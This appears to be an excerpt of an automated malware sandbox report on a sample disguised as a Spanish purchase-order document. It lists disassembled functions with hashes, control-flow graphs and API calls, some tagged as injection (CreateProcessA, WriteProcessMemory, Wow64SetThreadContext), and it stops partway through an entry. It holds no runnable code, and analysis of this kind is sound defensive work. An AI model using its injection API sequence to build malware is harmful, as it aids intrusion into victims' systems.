                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07301006 Relevance: .2, Instructions: 217COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 8fffefd4e077b1ed5d2166d4e3b8fa9d60b7cff39ecbeb99884ffc5e6b9ea5e1
                                                                                                              • Instruction ID: b221fda2d37cdb80ae8531fd06839ec56b05a3004f2ebfe4535ca16ec3fe20ea
                                                                                                              • Opcode Fuzzy Hash: 8fffefd4e077b1ed5d2166d4e3b8fa9d60b7cff39ecbeb99884ffc5e6b9ea5e1
                                                                                                              • Instruction Fuzzy Hash: 32A119B4E1521DCFDB64CFA5C950B9DBBB2FB89300F1085AAD40AAB794DB319981CF50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFAFD8 Relevance: .2, Instructions: 210COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 5bcb5c1414289362b51d293945965d4ba3c12d7fecbeafd7f4487351d748a1b0
                                                                                                              • Instruction ID: 36877366a6e9fe715bc24e07492832bca4d8311ec813eeb15a9527da48fb51a0
                                                                                                              • Opcode Fuzzy Hash: 5bcb5c1414289362b51d293945965d4ba3c12d7fecbeafd7f4487351d748a1b0
                                                                                                              • Instruction Fuzzy Hash: 3F91D375E00209CFDB48CFA9C9846AEFBF2BF88300F24912AD515BB264D7759946CF54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFAFE8 Relevance: .2, Instructions: 207COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 3392ffae22ef36c3229030029cc582820a889bad82399b3ca0f3257870a9ef78
                                                                                                              • Instruction ID: 43a9c0b70735de736315d24a2c5914e006c3bc75dce427a1ac011ef80dcbaa93
                                                                                                              • Opcode Fuzzy Hash: 3392ffae22ef36c3229030029cc582820a889bad82399b3ca0f3257870a9ef78
                                                                                                              • Instruction Fuzzy Hash: 7C91D375E10209CFDB48CFAAC9846AEFBB2BF88300F24902AD515BB364D7759906CF54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730108E Relevance: .2, Instructions: 187COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 244c32ab01a3dc61edd187003f2cd0075afd33fd2c8829edf75000541123d6fe
                                                                                                              • Instruction ID: fdc0f1af246db3581c15b2ff3f6b4657050fb80c5f65db488d70b0d223edf5a9
                                                                                                              • Opcode Fuzzy Hash: 244c32ab01a3dc61edd187003f2cd0075afd33fd2c8829edf75000541123d6fe
                                                                                                              • Instruction Fuzzy Hash: 2291E7B4E11219CFDB64CFA4C951B9DBBB2BB89300F1085AAD40EAB754DB319E81CF50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFB879 Relevance: .2, Instructions: 151COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 09ed98361b59d569323a975dabafee6f666ca7101e5ed20b6b3db21b0a084027
                                                                                                              • Instruction ID: 8e3a245114b55fff7a3236eb4d972f01851c59348630dd14618897ed94df6d84
                                                                                                              • Opcode Fuzzy Hash: 09ed98361b59d569323a975dabafee6f666ca7101e5ed20b6b3db21b0a084027
                                                                                                              • Instruction Fuzzy Hash: A2512871E252199FDB48CFA9C8406AEFBF2BF88300F14D06AD515B7264D7348A41CBA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730D25C Relevance: .1, Instructions: 62COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: c3c0b88ac2f1938838595111ab9e4b9c019085974e67d412db0fa924324010a6
                                                                                                              • Instruction ID: 0b2129c8c2ff88ba66a0cc55cfa792d0a4fa244334ea252d48fb6178a879d1a2
                                                                                                              • Opcode Fuzzy Hash: c3c0b88ac2f1938838595111ab9e4b9c019085974e67d412db0fa924324010a6
                                                                                                              • Instruction Fuzzy Hash: BD214DB4E19249CFDB45DFBAC5405DDBFF9AF8D210F2480AAC408A7252E7359901CF91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFD121 Relevance: 3.8, Strings: 3, Instructions: 63COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 517 6ffd121-6ffd128 518 6ffd12a-6ffd15d 517->518 519 6ffd181-6ffd1a2 call 6ffd769 517->519 522 6ffd15f 518->522 523 6ffd164-6ffd17e 518->523 524 6ffd1a8-6ffd46d 519->524 522->523 523->519 526 6ffd46f-6ffd47e 524->526 527 6ffd480-6ffd487 524->527 528 6ffd48e-6ffd494 526->528 527->528
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: J,Fb$J,Fb$J,Fb
                                                                                                              • API String ID: 0-2298695324
                                                                                                              • Opcode ID: 2a8a4bc4ee1cb9d157bf10421f2b7819ef0efec19a3f0459770e1e765cc8d4a8
                                                                                                              • Instruction ID: 7c707c36c1c4d7cf82c45abf9b438ec362765c179cde5f36e9be06c6d5c6c3fe
                                                                                                              • Opcode Fuzzy Hash: 2a8a4bc4ee1cb9d157bf10421f2b7819ef0efec19a3f0459770e1e765cc8d4a8
                                                                                                              • Instruction Fuzzy Hash: CF213571E05309DFDB58CFAAC8149AEBBF6FF89300F1480AAD501A7260D7356942CF50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFD138 Relevance: 3.8, Strings: 3, Instructions: 54COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 530 6ffd138-6ffd15d 531 6ffd15f 530->531 532 6ffd164-6ffd1a2 call 6ffd769 530->532 531->532 535 6ffd1a8-6ffd46d 532->535 537 6ffd46f-6ffd47e 535->537 538 6ffd480-6ffd487 535->538 539 6ffd48e-6ffd494 537->539 538->539
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: J,Fb$J,Fb$J,Fb
                                                                                                              • API String ID: 0-2298695324
                                                                                                              • Opcode ID: 1f4dd506dd8d7bdb9d3c61dcf2fd71cebda5b9fd41ad5e19ff0c46963c34f622
                                                                                                              • Instruction ID: bc3796c2ca23dde798dfcc208ca76f6fd35e060ac633d880bcfa6044c88ed8ef
                                                                                                              • Opcode Fuzzy Hash: 1f4dd506dd8d7bdb9d3c61dcf2fd71cebda5b9fd41ad5e19ff0c46963c34f622
                                                                                                              • Instruction Fuzzy Hash: 9121C271D00218DFDB58CFAAC8149AEBBF6BF89300F04C169D515AB764DB35AA02CF90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFC3A1 Relevance: 2.5, Strings: 2, Instructions: 46COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 1311 6ffc3a1-6ffc3f3 1313 6ffc3fb-6ffc427 1311->1313 1314 6ffc376-6ffc392 1313->1314 1315 6ffc39b-6ffd051 1314->1315 1316 6ffc394-6ffc445 1314->1316 1316->1314
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: 54F$n,`_
                                                                                                              • API String ID: 0-3952489974
                                                                                                              • Opcode ID: 6e77cebed05195ed6ab11083beb7aa8f7d955e0953bbd6a3933d7ee14a926f22
                                                                                                              • Instruction ID: 5b303aa23871c4f79c86f2fe243e22a2b8defeba7ae19532ac9c48c6ed41ca95
                                                                                                              • Opcode Fuzzy Hash: 6e77cebed05195ed6ab11083beb7aa8f7d955e0953bbd6a3933d7ee14a926f22
                                                                                                              • Instruction Fuzzy Hash: 9C11C674A02258CFDB94CF94C984A9DBBF2BF8C311F2450A9E905AB344D635AE84CF00
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 073714B5 Relevance: 1.7, APIs: 1, Instructions: 249processCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 1321 73714b5-7371555 1323 7371557-7371561 1321->1323 1324 737158e-73715ae 1321->1324 1323->1324 1325 7371563-7371565 1323->1325 1329 73715e7-7371616 1324->1329 1330 73715b0-73715ba 1324->1330 1327 7371567-7371571 1325->1327 1328 7371588-737158b 1325->1328 1331 7371575-7371584 1327->1331 1332 7371573 1327->1332 1328->1324 1340 737164f-7371709 CreateProcessA 1329->1340 1341 7371618-7371622 1329->1341 1330->1329 1333 73715bc-73715be 1330->1333 1331->1331 1334 7371586 1331->1334 1332->1331 1335 73715e1-73715e4 1333->1335 1336 73715c0-73715ca 1333->1336 1334->1328 1335->1329 1338 73715ce-73715dd 1336->1338 1339 73715cc 1336->1339 1338->1338 1342 73715df 1338->1342 1339->1338 1352 7371712-7371798 1340->1352 1353 737170b-7371711 1340->1353 1341->1340 1343 7371624-7371626 1341->1343 1342->1335 1344 7371649-737164c 1343->1344 1345 7371628-7371632 1343->1345 1344->1340 1347 7371636-7371645 1345->1347 1348 7371634 1345->1348 1347->1347 1349 7371647 1347->1349 1348->1347 1349->1344 1363 737179a-737179e 1352->1363 1364 73717a8-73717ac 1352->1364 1353->1352 1363->1364 1365 73717a0 1363->1365 1366 73717ae-73717b2 1364->1366 1367 73717bc-73717c0 1364->1367 1365->1364 1366->1367 1368 73717b4 1366->1368 1369 73717c2-73717c6 1367->1369 1370 73717d0-73717d4 1367->1370 1368->1367 1369->1370 1371 73717c8 1369->1371 1372 73717e6-73717ed 1370->1372 1373 73717d6-73717dc 1370->1373 1371->1370 1374 7371804 1372->1374 1375 73717ef-73717fe 1372->1375 1373->1372 1377 7371805 1374->1377 1375->1374 1377->1377
                                                                                                              APIs
                                                                                                              • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 073716F6
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402704755.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7370000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: CreateProcess
                                                                                                              • String ID:
                                                                                                              • API String ID: 963392458-0
                                                                                                              • Opcode ID: 3159fa6a743d6b7c9e8f2353b2a18627ec0a2d16082e1300c930cd9119b8f5d1
                                                                                                              • Instruction ID: cfc384a713dd77f843159eb0a41269e39d4e5baf4c8844a9f4123b3755acf699
                                                                                                              • Opcode Fuzzy Hash: 3159fa6a743d6b7c9e8f2353b2a18627ec0a2d16082e1300c930cd9119b8f5d1
                                                                                                              • Instruction Fuzzy Hash: 6DA13FB2D0025EDFEB24DF68C8417EDBBF2BB44310F148169E819A7240D7759985CF91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 073714C0 Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 1378 73714c0-7371555 1380 7371557-7371561 1378->1380 1381 737158e-73715ae 1378->1381 1380->1381 1382 7371563-7371565 1380->1382 1386 73715e7-7371616 1381->1386 1387 73715b0-73715ba 1381->1387 1384 7371567-7371571 1382->1384 1385 7371588-737158b 1382->1385 1388 7371575-7371584 1384->1388 1389 7371573 1384->1389 1385->1381 1397 737164f-7371709 CreateProcessA 1386->1397 1398 7371618-7371622 1386->1398 1387->1386 1390 73715bc-73715be 1387->1390 1388->1388 1391 7371586 1388->1391 1389->1388 1392 73715e1-73715e4 1390->1392 1393 73715c0-73715ca 1390->1393 1391->1385 1392->1386 1395 73715ce-73715dd 1393->1395 1396 73715cc 1393->1396 1395->1395 1399 73715df 1395->1399 1396->1395 1409 7371712-7371798 1397->1409 1410 737170b-7371711 1397->1410 1398->1397 1400 7371624-7371626 1398->1400 1399->1392 1401 7371649-737164c 1400->1401 1402 7371628-7371632 1400->1402 1401->1397 1404 7371636-7371645 1402->1404 1405 7371634 1402->1405 1404->1404 1406 7371647 1404->1406 1405->1404 1406->1401 1420 737179a-737179e 1409->1420 1421 73717a8-73717ac 1409->1421 1410->1409 1420->1421 1422 73717a0 1420->1422 1423 73717ae-73717b2 1421->1423 1424 73717bc-73717c0 1421->1424 1422->1421 1423->1424 1425 73717b4 1423->1425 1426 73717c2-73717c6 1424->1426 1427 73717d0-73717d4 1424->1427 1425->1424 1426->1427 1428 73717c8 1426->1428 1429 73717e6-73717ed 1427->1429 1430 73717d6-73717dc 1427->1430 1428->1427 1431 7371804 1429->1431 1432 73717ef-73717fe 1429->1432 1430->1429 1434 7371805 1431->1434 1432->1431 1434->1434
                                                                                                              APIs
                                                                                                              • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 073716F6
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402704755.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7370000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: CreateProcess
                                                                                                              • String ID:
                                                                                                              • API String ID: 963392458-0
                                                                                                              • Opcode ID: 24e6b9fbdb8a50fda18ba94b8e8e37e96236383a583cc57be1db0c57da169b6b
                                                                                                              • Instruction ID: 7953db5aaae56810697870b7f6154bb5d1088e4e931b966a13e1d21836b70310
                                                                                                              • Opcode Fuzzy Hash: 24e6b9fbdb8a50fda18ba94b8e8e37e96236383a583cc57be1db0c57da169b6b
                                                                                                              • Instruction Fuzzy Hash: 76913DB2D0025EDFEB24DF68C8417EDBBB2BB48310F148169E819A7240DB799985CF91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00BF590C Relevance: 1.6, APIs: 1, Instructions: 97COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 1435 bf590c-bf59d9 CreateActCtxA 1437 bf59db-bf59e1 1435->1437 1438 bf59e2-bf5a3c 1435->1438 1437->1438 1445 bf5a3e-bf5a41 1438->1445 1446 bf5a4b-bf5a4f 1438->1446 1445->1446 1447 bf5a51-bf5a5d 1446->1447 1448 bf5a60 1446->1448 1447->1448 1450 bf5a61 1448->1450 1450->1450
                                                                                                              APIs
                                                                                                              • CreateActCtxA.KERNEL32(?), ref: 00BF59C9
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1393208929.0000000000BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_bf0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: Create
                                                                                                              • String ID:
                                                                                                              • API String ID: 2289755597-0
                                                                                                              • Opcode ID: 74652b07c8ecef7bad37c14ef3b40ec2bd64294d847feb34a181526ff1394578
                                                                                                              • Instruction ID: 755f20bf62bbb37d6f47236360b7de1c6776be982db8c243f2d6c759c0516961
                                                                                                              • Opcode Fuzzy Hash: 74652b07c8ecef7bad37c14ef3b40ec2bd64294d847feb34a181526ff1394578
                                                                                                              • Instruction Fuzzy Hash: 1141D0B1C0071DCBEB24CFA9C884B9DBBF6BF49704F20816AD508AB251DB75694ACF50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00BF44B4 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 1451 bf44b4-bf59d9 CreateActCtxA 1454 bf59db-bf59e1 1451->1454 1455 bf59e2-bf5a3c 1451->1455 1454->1455 1462 bf5a3e-bf5a41 1455->1462 1463 bf5a4b-bf5a4f 1455->1463 1462->1463 1464 bf5a51-bf5a5d 1463->1464 1465 bf5a60 1463->1465 1464->1465 1467 bf5a61 1465->1467 1467->1467
                                                                                                              APIs
                                                                                                              • CreateActCtxA.KERNEL32(?), ref: 00BF59C9
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1393208929.0000000000BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_bf0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: Create
                                                                                                              • String ID:
                                                                                                              • API String ID: 2289755597-0
                                                                                                              • Opcode ID: b6a679cc2d388933f2ee77882b096c598d31df988c3f92e12466607610f4e662
                                                                                                              • Instruction ID: 528e9d999b7f37e759d807432436e42c07b09aa282a876c34e64892569d2a27b
                                                                                                              • Opcode Fuzzy Hash: b6a679cc2d388933f2ee77882b096c598d31df988c3f92e12466607610f4e662
                                                                                                              • Instruction Fuzzy Hash: 5241E1B1C0071DCBEB24CFA9C88479DBBF6BF49304F20816AD508AB251DB75694ACF90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06EA5C70 Relevance: 1.6, APIs: 1, Instructions: 74COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 1468 6ea5c70-6ea5cc4 1470 6ea5ccf-6ea5cde 1468->1470 1471 6ea5cc6-6ea5ccc 1468->1471 1472 6ea5ce3-6ea5d1c DrawTextExW 1470->1472 1473 6ea5ce0 1470->1473 1471->1470 1474 6ea5d1e-6ea5d24 1472->1474 1475 6ea5d25-6ea5d42 1472->1475 1473->1472 1474->1475
                                                                                                              APIs
                                                                                                              • DrawTextExW.USER32(?,?,?,?,?,?), ref: 06EA5D0F
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401201967.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ea0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: DrawText
                                                                                                              • String ID:
                                                                                                              • API String ID: 2175133113-0
                                                                                                              • Opcode ID: f6b85b8bf5314dda9466d6f64b314b667724e5bc6a785610eb1d47b7ce868673
                                                                                                              • Instruction ID: cf5e20b2f9aa310e6a4c948e4762a0d3fab87ee3906d38dd77c2e3e0e335604c
                                                                                                              • Opcode Fuzzy Hash: f6b85b8bf5314dda9466d6f64b314b667724e5bc6a785610eb1d47b7ce868673
                                                                                                              • Instruction Fuzzy Hash: 2D31E2B5D003499FDB10CF9AD884ADEFBF5FB48314F24842AE819A7210D775A945CFA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07371231 Relevance: 1.6, APIs: 1, Instructions: 71injectionCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 1478 7371231-7371286 1480 7371296-73712d5 WriteProcessMemory 1478->1480 1481 7371288-7371294 1478->1481 1483 73712d7-73712dd 1480->1483 1484 73712de-737130e 1480->1484 1481->1480 1483->1484
                                                                                                              APIs
                                                                                                              • WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 073712C8
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402704755.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7370000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: MemoryProcessWrite
                                                                                                              • String ID:
                                                                                                              • API String ID: 3559483778-0
                                                                                                              • Opcode ID: 1a1e29ce583d81630a9de833eade9dfe9bebc87472fb964821d85ff0f61f208f
                                                                                                              • Instruction ID: 62f1b5a732a79811717a723aa1634ca132608393d1296a4aef81b275292143f6
                                                                                                              • Opcode Fuzzy Hash: 1a1e29ce583d81630a9de833eade9dfe9bebc87472fb964821d85ff0f61f208f
                                                                                                              • Instruction Fuzzy Hash: 842137B6D0034D9FDB10DFA9C881BEEBBF1FB48310F108429E918A7240D7789941CBA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06EA5C78 Relevance: 1.6, APIs: 1, Instructions: 69COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 1488 6ea5c78-6ea5cc4 1489 6ea5ccf-6ea5cde 1488->1489 1490 6ea5cc6-6ea5ccc 1488->1490 1491 6ea5ce3-6ea5d1c DrawTextExW 1489->1491 1492 6ea5ce0 1489->1492 1490->1489 1493 6ea5d1e-6ea5d24 1491->1493 1494 6ea5d25-6ea5d42 1491->1494 1492->1491 1493->1494
                                                                                                              APIs
                                                                                                              • DrawTextExW.USER32(?,?,?,?,?,?), ref: 06EA5D0F
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401201967.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ea0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: DrawText
                                                                                                              • String ID:
                                                                                                              • API String ID: 2175133113-0
                                                                                                              • Opcode ID: 70b7aecf05403bbde7f7319082d52b1b1e1f949967b2299d8bc08394678d1d51
                                                                                                              • Instruction ID: 89f810c042b0e728c8de2327577f12ce9969730227820eb7d2bff1bb1a878da1
                                                                                                              • Opcode Fuzzy Hash: 70b7aecf05403bbde7f7319082d52b1b1e1f949967b2299d8bc08394678d1d51
                                                                                                              • Instruction Fuzzy Hash: B921C0B5D003099FDB10CF9AD884A9EFBF5FB48324F24842AE919A7210D775A944CFA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07371238 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 1497 7371238-7371286 1499 7371296-73712d5 WriteProcessMemory 1497->1499 1500 7371288-7371294 1497->1500 1502 73712d7-73712dd 1499->1502 1503 73712de-737130e 1499->1503 1500->1499 1502->1503
                                                                                                              APIs
                                                                                                              • WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 073712C8
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402704755.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7370000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: MemoryProcessWrite
                                                                                                              • String ID:
                                                                                                              • API String ID: 3559483778-0
                                                                                                              • Opcode ID: baaa557448961ebac3edaebceb1951817262af48cd54957ab87c7dad09005d45
                                                                                                              • Instruction ID: 4f38fe55a0a0b742d369208c75b57ab2f4741a5d0ed6cc6b2192e897e8a60a4c
                                                                                                              • Opcode Fuzzy Hash: baaa557448961ebac3edaebceb1951817262af48cd54957ab87c7dad09005d45
                                                                                                              • Instruction Fuzzy Hash: F02115B590034D9FDB10DFAAC881BEEBBF5FB48310F508829E918A7240D7799941CBA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07371099 Relevance: 1.6, APIs: 1, Instructions: 68threadCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 1507 7371099-73710eb 1510 73710ed-73710f9 1507->1510 1511 73710fb-737112b Wow64SetThreadContext 1507->1511 1510->1511 1513 7371134-7371164 1511->1513 1514 737112d-7371133 1511->1514 1514->1513
                                                                                                              APIs
                                                                                                              • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0737111E
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402704755.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7370000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: ContextThreadWow64
                                                                                                              • String ID:
                                                                                                              • API String ID: 983334009-0
                                                                                                              • Opcode ID: 3a91337f21ebaa98f188d9553d14b5a624ec47dcf8462c36e0a88e946bc0895c
                                                                                                              • Instruction ID: 3cf2a08be2f8f11883e31797dd9c0be6f14f59d18b1f03c877a7f0d2c905da1d
                                                                                                              • Opcode Fuzzy Hash: 3a91337f21ebaa98f188d9553d14b5a624ec47dcf8462c36e0a88e946bc0895c
                                                                                                              • Instruction Fuzzy Hash: A2215CB1D003098FDB20DFAAC4417EEBBF4AF88320F148429D459A7240CB789945CFA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07371320 Relevance: 1.6, APIs: 1, Instructions: 66COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 1518 7371320-73713b5 ReadProcessMemory 1522 73713b7-73713bd 1518->1522 1523 73713be-73713ee 1518->1523 1522->1523
                                                                                                              APIs
